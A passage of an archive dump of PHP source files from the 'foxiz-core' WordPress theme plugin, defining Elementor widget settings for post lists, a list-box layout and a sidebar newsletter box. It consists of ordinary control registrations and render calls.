'Nav Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_nav_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .slider-footer' => 'margin-top: {{VALUE}}px;' ), ) ); $this->add_control( 'slider_play', array( 'label' => esc_html__( 'Auto Play Next Slides', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_autoplay_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_responsive_control( 'slider_speed', array( 'label' => esc_html__( 'Auto Play Speed', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_speed_description(), 'default' => '', ) ); $this->add_control( 'slider_fmode', array( 'label' => esc_html__( 'Carousel Free Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_freemode_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_control( 'slider_centered', array( 'label' => esc_html__( 'Centered Sliders', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_centered_description(), 'options' => Options::switch_dropdown(false), 'default' => '-1', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_list_small_2' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_list_small_2( $settings ); } } }elementor/list-box-1.php000064400000071442147206624460011171 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '3', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); if ( 'rb-etemplate' === get_post_type() ) { $this->start_controls_section( 'archive-builder-section', array( 'label' => esc_html__( 'Archive Builder - Global Query', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'archive_builder_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_unique_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_unique_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_available_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_available_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_pagination_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_pagination_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_total_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_total_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_admin_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_admin_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'query_mode', array( 'label' => esc_html__( 'Query Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::query_mode_description(), 'options' => array( '0' => esc_html__( 'Use Custom Query (default)', 'foxiz-core' ), 'global' => esc_html__( 'Use WP Global Query', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_control( 'builder_pagination', array( 'label' => esc_html__( 'WP Global Query Pagination', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::archive_pagination_description(), 'options' => Options::archive_builder_pagination_dropdown(), 'default' => 'number' ) ); $this->end_controls_section(); } $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to all sections with gray background, depending on column settings.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_responsive_control( 'featured_width', array( 'label' => esc_html__( 'Custom Featured Width', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet' ), 'description' => esc_html__( 'Input custom width values (px) for the featured image. Leave blank to set it as the default.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .p-list-box-1 .list-feat-holder' => 'width: {{VALUE}}px; max-width: {{VALUE}}px;', ), ) ); $this->add_control( 'featured_position', array( 'label' => esc_html__( 'Featured Position', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::featured_position_description(), 'options' => Options::featured_position_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::standard_entry_category_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta_bar', array( 'label' => esc_html__( 'Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_meta_description(), 'options' => Options::entry_meta_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => '' ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown(), 'default' => '0', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '0', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt', array( 'label' => esc_html__( 'Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_description(), 'options' => Options::excerpt_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4 ) ), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4 ) ), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'box_section', array( 'label' => esc_html__( 'Boxed Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'box_style', array( 'label' => esc_html__( 'Boxed Layout', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::box_style_description(), 'options' => Options::box_style_dropdown(), 'default' => '0', ) ); $this->add_control( 'box_color', array( 'label' => esc_html__( 'Box Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => Options::box_color_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap .list-box' => '--box-color: {{VALUE}};' ), ) ); $this->add_control( 'dark_box_color', array( 'label' => esc_html__( 'Dark - Box Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => Options::box_dark_color_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap .list-box' => '--dark-box-color: {{VALUE}};' ), ) ); $this->add_responsive_control( 'box_padding', array( 'label' => esc_html__( 'Box Padding', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--box-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'list_gap', array( 'label' => esc_html__( '1/2 Featured Spacing Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::list_gap_description(), 'devices' => array( 'desktop', 'tablet'), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--list-holder-spacing: {{VALUE}}px; --list-holder-margin: -{{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown(), 'default' => '0' ) ); $this->add_control( 'middle_mode', array( 'label' => esc_html__( 'Vertical Align', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::middle_mode_description(), 'options' => Options::vertical_align_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_list_box_1' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_list_box_1( $settings ); } } }elementor/newsletter-3.php000064400000015325147206624460011624 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'General', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to a sidebar.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'title', array( 'label' => esc_html__( 'Heading', 'foxiz-core' ), 'description' => esc_html__( 'Input a heading for the newsletter box.', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'default' => esc_html__( 'Subscribe Newsletter', 'foxiz-core' ), ) ); $this->add_control( 'description', array( 'label' => esc_html__( 'Description', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => esc_html__( 'Input a description for the newsletter box.', 'foxiz-core' ), 'default' => esc_html__( 'Subscribe to our newsletter to get our newest articles instantly!', 'foxiz-core' ), ) ); $this->add_control( 'shortcode', array( 'label' => esc_html__( 'Form Shortcode', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input your newsletter form shortcode.', 'foxiz-core' ), 'placeholder' => esc_html__( '[mc4wp_form]', 'foxiz-core' ), 'default' => '[mc4wp_form]' ) ); $this->add_control( 'featured', array( 'label' => esc_html__( 'Featured Image', 'foxiz-core' ), 'description' => esc_html__( 'Input a featured image attachment URL for the newsletter box.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->add_control( 'dark_featured', array( 'label' => esc_html__( 'Dark Mode - Featured Image', 'foxiz-core' ), 'description' => esc_html__( 'Input a featured attachment URL for the newsletter box in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->end_controls_section(); $this->start_controls_section( 'design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .newsletter-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'description_size', array( 'label' => esc_html__( 'Description Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .newsletter-description' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_control( 'feat_size', array( 'label' => esc_html__( 'Featured Image Width', 'foxiz-core' ), 'description' => esc_html__( 'Input a max width value (in px) for the featured image.', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'selectors' => array( '{{WRAPPER}} .newsletter-sb-featured img' => 'max-width: {{VALUE}}px;' ) ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .newsletter-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Description Font', 'foxiz-core' ), 'name' => 'description_font', 'selector' => '{{WRAPPER}} .newsletter-description', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_get_sidebar_newsletter' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_sidebar_newsletter( $settings ); } } }elementor/list-1.php000064400000066303147206624460010403 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) 